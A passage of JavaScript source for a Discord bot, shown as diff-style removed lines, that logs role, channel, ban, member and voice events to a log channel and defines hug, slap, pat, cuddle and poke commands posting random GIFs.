- .setDescription(`**\n**:white_check_mark: Successfully \`\`DELETE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setColor('RED')
- .setTimestamp()
- .setFooter(role.guild.name, role.guild.iconURL)
- logChannel.send(roleDelete);
- })
- });
- client.on('roleUpdate', (oldRole, newRole) => {
- if(!oldRole.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!oldRole.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[oldRole.guild.id]) log[oldRole.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldRole.guild.id].onoff === 'Off') return;
- var logChannel = oldRole.guild.channels.find(c => c.name === `${log[oldRole.guild.id].channel}`);
- if(!logChannel) return;
- oldRole.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- if(oldRole.name !== newRole.name) {
- if(log[oldRole.guild.id].onoff === 'Off') return;
- let roleUpdateName = new Discord.RichEmbed()
- .setTitle('**[ROLE NAME UPDATE]**')
- .setThumbnail(userAvatar)
- .setColor('BLUE')
- .setDescription(`**\n**:white_check_mark: Successfully \`\`EDITED\`\` Role Name.\n\n**Old Name:** \`\`${oldRole.name}\`\`\n**New Name:** \`\`${newRole.name}\`\`\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(oldRole.guild.name, oldRole.guild.iconURL)
- logChannel.send(roleUpdateName);
- }
- if(oldRole.hexColor !== newRole.hexColor) {
- if(oldRole.hexColor === '#000000') {
- var oldColor = '`Default`';
- }else {
- var oldColor = oldRole.hexColor;
- }
- if(newRole.hexColor === '#000000') {
- var newColor = '`Default`';
- }else {
- var newColor = newRole.hexColor;
- }
- if(log[oldRole.guild.id].onoff === 'Off') return;
- let roleUpdateColor = new Discord.RichEmbed()
- .setTitle('**[ROLE COLOR UPDATE]**')
- .setThumbnail(userAvatar)
- .setColor('BLUE')
- .setDescription(`**\n**:white_check_mark: Successfully \`\`EDITED\`\` **${oldRole.name}** Role Color.\n\n**Old Color:** ${oldColor}\n**New Color:** ${newColor}\n**Role ID:** ${oldRole.id}\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(oldRole.guild.name, oldRole.guild.iconURL)
- logChannel.send(roleUpdateColor);
- }
- })
- });
- client.on('channelCreate', channel => {
- if(!channel.guild) return;
- if(!channel.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!channel.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[channel.guild.id]) log[channel.guild.id] = {
- onoff: 'Off'
- }
- if(log[channel.guild.id].onoff === 'Off') return;
- var logChannel = channel.guild.channels.find(c => c.name === `${log[channel.guild.id].channel}`);
- if(!logChannel) return;
- if(channel.type === 'text') {
- var roomType = 'Text';
- }else
- if(channel.type === 'voice') {
- var roomType = 'Voice';
- }else
- if(channel.type === 'category') {
- var roomType = 'Category';
- }
- channel.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- let channelCreate = new Discord.RichEmbed()
- .setTitle('**[CHANNEL CREATE]**')
- .setThumbnail(userAvatar)
- .setDescription(`**\n**:white_check_mark: Successfully \`\`CREATE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setColor('GREEN')
- .setTimestamp()
- .setFooter(channel.guild.name, channel.guild.iconURL)
- logChannel.send(channelCreate);
- })
- });
- client.on('channelDelete', channel => {
- if(!channel.guild) return;
- if(!channel.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!channel.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[channel.guild.id]) log[channel.guild.id] = {
- onoff: 'Off'
- }
- if(log[channel.guild.id].onoff === 'Off') return;
- var logChannel = channel.guild.channels.find(c => c.name === `${log[channel.guild.id].channel}`);
- if(!logChannel) return;
- if(channel.type === 'text') {
- var roomType = 'Text';
- }else
- if(channel.type === 'voice') {
- var roomType = 'Voice';
- }else
- if(channel.type === 'category') {
- var roomType = 'Category';
- }
- channel.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- let channelDelete = new Discord.RichEmbed()
- .setTitle('**[CHANNEL DELETE]**')
- .setThumbnail(userAvatar)
- .setDescription(`**\n**:white_check_mark: Successfully \`\`DELETE\`\` **${roomType}** channel.\n\n**Channel Name:** \`\`${channel.name}\`\` (ID: ${channel.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setColor('RED')
- .setTimestamp()
- .setFooter(channel.guild.name, channel.guild.iconURL)
- logChannel.send(channelDelete);
- })
- });
- client.on('channelUpdate', (oldChannel, newChannel) => {
- if(!oldChannel.guild) return;
- if(!log[oldChannel.guild.id]) log[oldChannel.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldChannel.guild.id].onoff === 'Off') return;
- var logChannel = oldChannel.guild.channels.find(c => c.name === `${log[oldChannel.guild.id].channel}`);
- if(!logChannel) return;
- if(oldChannel.type === 'text') {
- var channelType = 'Text';
- }else
- if(oldChannel.type === 'voice') {
- var channelType = 'Voice';
- }else
- if(oldChannel.type === 'category') {
- var channelType = 'Category';
- }
- oldChannel.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- if(oldChannel.name !== newChannel.name) {
- let newName = new Discord.RichEmbed()
- .setTitle('**[CHANNEL EDIT]**')
- .setThumbnail(userAvatar)
- .setColor('BLUE')
- .setDescription(`**\n**:wrench: Successfully Edited **${channelType}** Channel Name\n\n**Old Name:** \`\`${oldChannel.name}\`\`\n**New Name:** \`\`${newChannel.name}\`\`\n**Channel ID:** ${oldChannel.id}\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL)
- logChannel.send(newName);
- }
- if(oldChannel.topic !== newChannel.topic) {
- if(log[oldChannel.guild.id].onoff === 'Off') return;
- let newTopic = new Discord.RichEmbed()
- .setTitle('**[CHANNEL EDIT]**')
- .setThumbnail(userAvatar)
- .setColor('BLUE')
- .setDescription(`**\n**:wrench: Successfully Edited **${channelType}** Channel Topic\n\n**Old Topic:**\n\`\`\`${oldChannel.topic || 'NULL'}\`\`\`\n**New Topic:**\n\`\`\`${newChannel.topic || 'NULL'}\`\`\`\n**Channel:** ${oldChannel} (ID: ${oldChannel.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(oldChannel.guild.name, oldChannel.guild.iconURL)
- logChannel.send(newTopic);
- }
- })
- });
- client.on('guildBanAdd', (guild, user) => {
- if(!guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[guild.guild.id]) log[guild.guild.id] = {
- onoff: 'Off'
- }
- if(log[guild.guild.id].onoff === 'Off') return;
- var logChannel = guild.channels.find(c => c.name === `${log[guild.guild.id].channel}`);
- if(!logChannel) return;
- guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- if(userID === client.user.id) return;
- let banInfo = new Discord.RichEmbed()
- .setTitle('**[BANNED]**')
- .setThumbnail(userAvatar)
- .setColor('DARK_RED')
- .setDescription(`**\n**:airplane: Successfully \`\`BANNED\`\` **${user.username}** From the server!\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(guild.name, guild.iconURL)
- logChannel.send(banInfo);
- })
- });
- client.on('guildBanRemove', (guild, user) => {
- if(!guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[guild.guild.id]) log[guild.guild.id] = {
- onoff: 'Off'
- }
- if(log[guild.guild.id].onoff === 'Off') return;
- var logChannel = guild.channels.find(c => c.name === `${log[guild.guild.id].channel}`);
- if(!logChannel) return;
- guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- if(userID === client.user.id) return;
- let unBanInfo = new Discord.RichEmbed()
- .setTitle('**[UNBANNED]**')
- .setThumbnail(userAvatar)
- .setColor('GREEN')
- .setDescription(`**\n**:unlock: Successfully \`\`UNBANNED\`\` **${user.username}** From the server\n\n**User:** <@${user.id}> (ID: ${user.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(guild.name, guild.iconURL)
- logChannel.send(unBanInfo);
- })
- });
- client.on('guildMemberUpdate', (oldMember, newMember) => {
- if(!oldMember.guild) return;
- if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldMember.guild.id].onoff === 'Off') return;
- var logChannel = oldMember.guild.channels.find(c => c.name === `${log[oldMember, newMember.guild.id].channel}`);
- if(!logChannel) return;
- oldMember.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- var userTag = logs.entries.first().executor.tag;
- if(oldMember.nickname !== newMember.nickname) {
- if(oldMember.nickname === null) {
- var oldNM = '`اسمه الاصلي`';
- }else {
- var oldNM = oldMember.nickname;
- }
- if(newMember.nickname === null) {
- var newNM = '`اسمه الاصلي`';
- }else {
- var newNM = newMember.nickname;
- }
- let updateNickname = new Discord.RichEmbed()
- .setTitle('**[UPDATE MEMBER NICKNAME]**')
- .setThumbnail(userAvatar)
- .setColor('BLUE')
- .setDescription(`**\n**:spy: Successfully \`\`CHANGE\`\` Member Nickname.\n\n**User:** ${oldMember} (ID: ${oldMember.id})\n**Old Nickname:** ${oldNM}\n**New Nickname:** ${newNM}\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(oldMember.guild.name, oldMember.guild.iconURL)
- logChannel.send(updateNickname);
- }
- if(oldMember.roles.size < newMember.roles.size) {
- let role = newMember.roles.filter(r => !oldMember.roles.has(r.id)).first();
- if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldMember.guild.id].onoff === 'Off') return;
- let roleAdded = new Discord.RichEmbed()
- .setTitle('**[ADDED ROLE TO MEMBER]**')
- .setThumbnail(oldMember.guild.iconURL)
- .setColor('GREEN')
- .setDescription(`**\n**:white_check_mark: Successfully \`\`ADDED\`\` Role to **${oldMember.user.username}**\n\n**User:** <@${oldMember.id}> (ID: ${oldMember.user.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(userTag, userAvatar)
- logChannel.send(roleAdded);
- }
- if(oldMember.roles.size > newMember.roles.size) {
- let role = oldMember.roles.filter(r => !newMember.roles.has(r.id)).first();
- if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldMember, newMember.guild.id].onoff === 'Off') return;
- let roleRemoved = new Discord.RichEmbed()
- .setTitle('**[REMOVED ROLE FROM MEMBER]**')
- .setThumbnail(oldMember.guild.iconURL)
- .setColor('RED')
- .setDescription(`**\n**:negative_squared_cross_mark: Successfully \`\`REMOVED\`\` Role from **${oldMember.user.username}**\n\n**User:** <@${oldMember.user.id}> (ID: ${oldMember.id})\n**Role:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setTimestamp()
- .setFooter(userTag, userAvatar)
- logChannel.send(roleRemoved);
- }
- })
- if(oldMember.guild.owner.id !== newMember.guild.owner.id) {
- if(!log[oldMember.guild.id]) log[oldMember.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldMember, newMember.guild.id].onoff === 'Off') return;
- let newOwner = new Discord.RichEmbed()
- .setTitle('**[UPDATE GUILD OWNER]**')
- .setThumbnail(oldMember.guild.iconURL)
- .setColor('GREEN')
- .setDescription(`**\n**:white_check_mark: Successfully \`\`TRANSFER\`\` The Owner Ship.\n\n**Old Owner:** <@${oldMember.user.id}> (ID: ${oldMember.user.id})\n**New Owner:** <@${newMember.user.id}> (ID: ${newMember.user.id})`)
- .setTimestamp()
- .setFooter(oldMember.guild.name, oldMember.guild.iconURL)
- logChannel.send(newOwner);
- }
- });
- client.on('voiceStateUpdate', (voiceOld, voiceNew) => {
- if(!voiceOld.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!voiceOld.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
- onoff: 'Off'
- }
- if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
- var logChannel = voiceOld.guild.channels.find(c => c.name === `${log[voiceOld, voiceNew.guild.id].channel}`);
- if(!logChannel) return;
- voiceOld.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userTag = logs.entries.first().executor.tag;
- var userAvatar = logs.entries.first().executor.avatarURL;
- if(voiceOld.serverMute === false && voiceNew.serverMute === true) {
- let serverMutev = new Discord.RichEmbed()
- .setTitle('**[VOICE MUTE]**')
- .setThumbnail('https://images-ext-1.discordapp.net/external/pWQaw076OHwVIFZyeFoLXvweo0T_fDz6U5C9RBlw_fQ/https/cdn.pg.sa/UosmjqDNgS.png')
- .setColor('RED')
- .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
- .setTimestamp()
- .setFooter(userTag, userAvatar)
- logChannel.send(serverMutev);
- }
- if(voiceOld.serverMute === true && voiceNew.serverMute === false) {
- if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
- onoff: 'Off'
- }
- if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
- let serverUnmutev = new Discord.RichEmbed()
- .setTitle('**[VOICE UNMUTE]**')
- .setThumbnail('https://images-ext-1.discordapp.net/external/u2JNOTOc1IVJGEb1uCKRdQHXIj5-r8aHa3tSap6SjqM/https/cdn.pg.sa/Iy4t8H4T7n.png')
- .setColor('GREEN')
- .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
- .setTimestamp()
- .setFooter(userTag, userAvatar)
- logChannel.send(serverUnmutev);
- }
- if(voiceOld.serverDeaf === false && voiceNew.serverDeaf === true) {
- if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
- onoff: 'Off'
- }
- if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
- let serverDeafv = new Discord.RichEmbed()
- .setTitle('**[VOICE DEAF]**')
- .setThumbnail('https://images-ext-1.discordapp.net/external/7ENt2ldbD-3L3wRoDBhKHb9FfImkjFxYR6DbLYRjhjA/https/cdn.pg.sa/auWd5b95AV.png')
- .setColor('RED')
- .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
- .setTimestamp()
- .setFooter(userTag, userAvatar)
- logChannel.send(serverDeafv);
- }
- if(voiceOld.serverDeaf === true && voiceNew.serverDeaf === false) {
- if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
- onoff: 'Off'
- }
- if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
- let serverUndeafv = new Discord.RichEmbed()
- .setTitle('**[VOICE UNDEAF]**')
- .setThumbnail('https://images-ext-2.discordapp.net/external/s_abcfAlNdxl3uYVXnA2evSKBTpU6Ou3oimkejx3fiQ/https/cdn.pg.sa/i7fC8qnbRF.png')
- .setColor('GREEN')
- .setDescription(`**User:** ${voiceOld} (ID: ${voiceOld.id})\n**By:** <@${userID}> (ID: ${userID})\n**Channel:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannel.id})`)
- .setTimestamp()
- .setFooter(userTag, userAvatar)
- logChannel.send(serverUndeafv);
- }
- })
- if(voiceOld.voiceChannelID !== voiceNew.voiceChannelID && voiceNew.voiceChannel && voiceOld.voiceChannel != null) {
- if(!log[voiceOld.guild.id]) log[voiceOld.guild.id] = {
- onoff: 'Off'
- }
- if(log[voiceOld, voiceOld.guild.id].onoff === 'Off') return;
- let voiceLeave = new Discord.RichEmbed()
- .setTitle('**[CHANGED VOICE ROOM]**')
- .setColor('GREEN')
- .setThumbnail(voiceOld.user.avatarURL)
- .setDescription(`**\n**:repeat: Successfully \`\`CHANGED\`\` The Voice Channel.\n\n**From:** \`\`${voiceOld.voiceChannel.name}\`\` (ID: ${voiceOld.voiceChannelID})\n**To:** \`\`${voiceNew.voiceChannel.name}\`\` (ID: ${voiceNew.voiceChannelID})\n**User:** ${voiceOld} (ID: ${voiceOld.id})`)
- .setTimestamp()
- .setFooter(voiceOld.user.tag, voiceOld.user.avatarURL)
- logChannel.send(voiceLeave);
- }
- });
- client.on("message", message => {
- if (message.author.bot) return;
- if (!message.channel.guild) return;
- if (!games[message.author.id]) games[message.author.id] = {
- credits: 100,
- level: 1,
- };
- fs.writeFile('./games.json', JSON.stringify(games), (err) => {
- if (err) console.error(err);
- });
- });
- client.on("message", message => {
- if (message.author.bot) return;
- if (message.author.id === client.user.id) return;
- if(!message.channel.guild) return;
- if(!dataPro[message.author.id]) {
- dataPro[message.author.id] = {
- ai: false,
- wallSrc: './Screenshot_2018-08-2??-20-05-48-1-1.png' ,
- walls: {}
- };
- }
- fs.writeFile('./walls.json', JSON.stringify(dataPro), (err) => {
- if (err) console.error(err);
- });
- });
- ///hug
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'hug')) {
- let args = message.content.split(" ").slice(1);
- let hug = [
- "https://78.media.tumblr.com/28e86413485a973ae859a745a7a5382e/tumblr_o1hf0uK2NL1uapp8co1_500.gif",
- "https://78.media.tumblr.com/18fdf4adcb5ad89f5469a91e860f80ba/tumblr_oltayyHynP1sy5k7wo1_500.gif",
- "https://78.media.tumblr.com/e790af0168cd80394b7d792dde07407b/tumblr_o76qfcMiFn1sk1rjvo1_500.gif",
- "https://78.media.tumblr.com/350c512200d6cbb6506774f2cddc9641/tumblr_ooonx9vM691qzxv73o1_500.gif",
- "https://78.media.tumblr.com/5dfb67d0a674fe5f81950478f5b2d4ed/tumblr_ofd4e2h8O81ub9qlao1_500.gif",
- "https://78.media.tumblr.com/21f89b12419bda49ce8ee33d50f01f85/tumblr_o5u9l1rBqg1ttmhcxo1_500.gif",
- "https://78.media.tumblr.com/ebc214f892af851ffd7297e0e6212cdb/tumblr_o2kwkfyzT01uprh6zo1_500.gif",
- "https://78.media.tumblr.com/5fa89acc3637b84a29c6f528c1727135/tumblr_o3kyyxj5nF1unech7o1_500.gif",
- "https://78.media.tumblr.com/443c4235cae34242d014e2bb1276810d/tumblr_orldmdZJ2x1vb10byo1_500.gif",
- "https://78.media.tumblr.com/b8ce553824c59700049256fbc825390b/tumblr_ojf72iRAty1v312ebo1_500.gif",
- "https://78.media.tumblr.com/2fe074ad467af41a8230b8d9d8e322f1/tumblr_omvj49wYnq1v8tshbo1_500.gif",
- "https://78.media.tumblr.com/9956a4b53345e4031faccf8174cadb68/tumblr_ozy26yVcBu1ql0375o1_500.gif",
- "https://78.media.tumblr.com/14f5e0c6ef88280f75017987302a7dad/tumblr_o31a2iJsCw1uprh6zo1_500.gif",
- "https://78.media.tumblr.com/5e2130af66f9c548059c6452d1b55e03/tumblr_p8zuex4xZo1qzxv73o1_500.gif",
- "https://i.gifer.com/8WPN.mp4",
- "https://i.gifer.com/GAMC.gif",
- ]
- let hugresult = Math.floor((Math.random() * hug.length));
- if (!args[0]) {
- const ghembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.author.username} Sorry to see you alone...`)
- .setImage('https://78.media.tumblr.com/9d9be702d1dda0559809d920bf1d01d1/tumblr_inline_nrw2mfIFBh1qafrh6_400.gif')
- message.channel.send({
- embed: ghembed
- })
- return;
- }
- if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
- const hembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.mentions.members.first().user.username} you have been hugged by ${message.author.username}`)
- .setImage(hug[hugresult])
- message.channel.send({
- embed: hembed
- })
- return;
- }
- const ghembed = new Discord.RichEmbed()
- .setColor(RANDOM)
- .setTitle(`${message.author.username} Sorry to see you alone...`)
- .setImage('https://78.media.tumblr.com/9d9be702d1dda0559809d920bf1d01d1/tumblr_inline_nrw2mfIFBh1qafrh6_400.gif')
- message.channel.send({
- embed: ghembed
- })
- }
- });
- ///end
- ///end
- ///slap
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'slap')) {
- let args = message.content.split(" ").slice(1);
- let hug = [
- "https://cdn.discordapp.com/attachments/466949822604247044/467005787189805066/Slap_6.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005776880336896/Slap_9.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005776515563520/Slap_11.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005770114793492/Slap_8.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005766608486431/Slap_12.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005763814948864/Slap_13.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005759167791106/Slap_14.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005741694451713/Slap_5.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005741216169984/Slap_2.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005739530190865/Slap_4.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005740603801600/Slap_1.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005734412877854/Slap.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466953715039993856/staph_it.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466951859148554260/nu.gif",
- "https://media0.giphy.com/media/fO6UtDy5pWYwM/giphy.gif",
- ]
- let hugresult = Math.floor((Math.random() * hug.length));
- if (!args[0]) {
- const ghembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(``)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- return;
- }
- if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
- const hembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.mentions.members.first().user.username} you have been slapped by ${message.author.username}`)
- .setImage(hug[hugresult])
- message.channel.send({
- embed: hembed
- })
- return;
- }
- const ghembed = new Discord.RichEmbed()
- .setColor(RANDOM)
- .setTitle(``)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- }
- });
- ///end
- ///pat
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'pat')) {
- let args = message.content.split(" ").slice(1);
- let hug = [
- "https://cdn.discordapp.com/attachments/466949822604247044/467186871290822657/pat-B1SOzCV0W.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466954354927337472/26d886c039e5f438d36c22964f1e79d0.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466952080750280724/tenor.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466951974726664192/1506871682_tumblr_o925gmua611uhpv9wo1_540.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466951961439109130/pets.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466951936873201664/tenor-1.gif",
- "https://media2.giphy.com/media/109ltuoSQT212w/giphy.gif",
- "https://media3.giphy.com/media/ye7OTQgwmVuVy/giphy.gif",
- "https://media1.giphy.com/media/ARSp9T7wwxNcs/giphy.gif",
- "https://media2.giphy.com/media/aPOuFhSOoeoAo/giphy.gif",
- "https://media0.giphy.com/media/L2z7dnOduqEow/giphy.gif",
- "https://media0.giphy.com/media/X9MUeQelKifU4/giphy.gif",
- "https://media.giphy.com/media/4HP0ddZnNVvKU/giphy.gif",
- "https://media1.giphy.com/media/e7xQm1dtF9Zni/giphy.gif",
- "https://78.media.tumblr.com/6d55745d63a3829693ce68a71ddbd218/tumblr_ox5dckEwTQ1rupogao1_500.gif",
- "https://78.media.tumblr.com/59074e59e5563e15623216e3e33cd259/tumblr_ojt62uIuDB1vztiw8o1_500.gif",
- ]
- let hugresult = Math.floor((Math.random() * hug.length));
- if (!args[0]) {
- const ghembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(``)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- return;
- }
- if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
- const hembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.mentions.members.first().user.username} you have been patted by ${message.author.username}`)
- .setImage(hug[hugresult])
- message.channel.send({
- embed: hembed
- })
- return;
- }
- const ghembed = new Discord.RichEmbed()
- .setColor(RANDOM)
- .setTitle(``)
- .setImage('')
- message.channel.send({
- embed: ghembed
- })
- }
- });
- ///end
- ///cuddle
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'cuddle')) {
- let args = message.content.split(" ").slice(1);
- let hug = [
- "https://cdn.discordapp.com/attachments/466949822604247044/467005578548346900/Cuddle6.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005575511932928/Cuddle7.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005570692677645/Cuddle4.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/467005567144165377/Cuddle3.gif",
- "https://cdn.discordapp.com/attachments/466949822604247044/466952826917093396/cuddlez.gif",
- "https://i.imgur.com/IrY5w46.gif",
- "https://i.imgur.com/lGeXeTQ.gif",
- "https://i.imgur.com/0AaS08b.gif",
- "https://cdn.discordapp.com/attachments/347377586017665027/467497200792895498/cuddle-rkA6SU7w-.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467499871138611204/cuddle-rylgIUmPW.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467500001669545985/cuddle-HkUlIUXDZ.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467500500821213194/cuddle-ryURHLXP-.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467500585667788812/cuddle-r1Q0HImPZ.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467500675098607618/cuddle-rk2-UL7PW.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467501362322604035/cuddle-rJ6zAkc1f.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467501503813386242/cuddle-r1s9RqB7G.gif",
- ]
- let hugresult = Math.floor((Math.random() * hug.length));
- if (!args[0]) {
- const ghembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.author.username} Sorry to see you alone...`)
- .setImage('https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif')
- message.channel.send({
- embed: ghembed
- })
- return;
- }
- if (!message.mentions.members.first().user.username === message.isMentioned(message.author)) {
- const hembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`${message.mentions.members.first().user.username} you have been cuddled by ${message.author.username}`)
- .setImage(hug[hugresult])
- message.channel.send({
- embed: hembed
- })
- return;
- }
- const ghembed = new Discord.RichEmbed()
- .setColor(RANDOM)
- .setTitle(`${message.author.username} Sorry to see you alone...`)
- .setImage('https://cdn.discordapp.com/attachments/466949822604247044/467005738804445185/Slap_3.gif')
- message.channel.send({
- embed: ghembed
- })
- }
- });
- ///end
- ///poke
- client.on('message', message => {
- if(message.content.startsWith(prefix + 'poke')) {
- let args = message.content.split(" ").slice(1);
- let hug = [
- "https://cdn.discordapp.com/attachments/467499708068265994/467507303432585227/poke-rJzUe1FwZ.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509021793058857/poke-B14SJlTQG.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509321412902922/poke-HJZpLxkKDb.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509460458405888/poke-SydLxJFwW.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509552024256515/poke-BJhIekKwb.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509933626097674/poke-B1oSgytwW.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509931084480522/poke-r1v6xoh0Z.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509944338481152/poke-H1fMRpYtb.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467509925052940288/poke-rkB8eJYPZ.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467511056240082954/poke-rJ0hlsnR-.gif",
- "https://cdn.discordapp.com/attachments/467499708068265994/467511147927699474/poke-H1x2HxyYD-.gif",
- "https://cdn.weeb.sh/images/rkeaUeJKD-.gif",
- "https://cdn.weeb.sh/images/HkxwlkKPb.gif",
- "https://cdn.weeb.sh/images/SyQzRaFFb.gif",
- "https://cdn.weeb.sh/images/rkaUe1YPb.gif",
- "https://cdn.weeb.sh/images/BkcSekKwb.gif",
- ]
- let hugresult = Math.floor((Math.random() * hug.length));
- if (!args[0]) {
- const ghembed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setTitle(`Are you trying to poke thin air...?`)
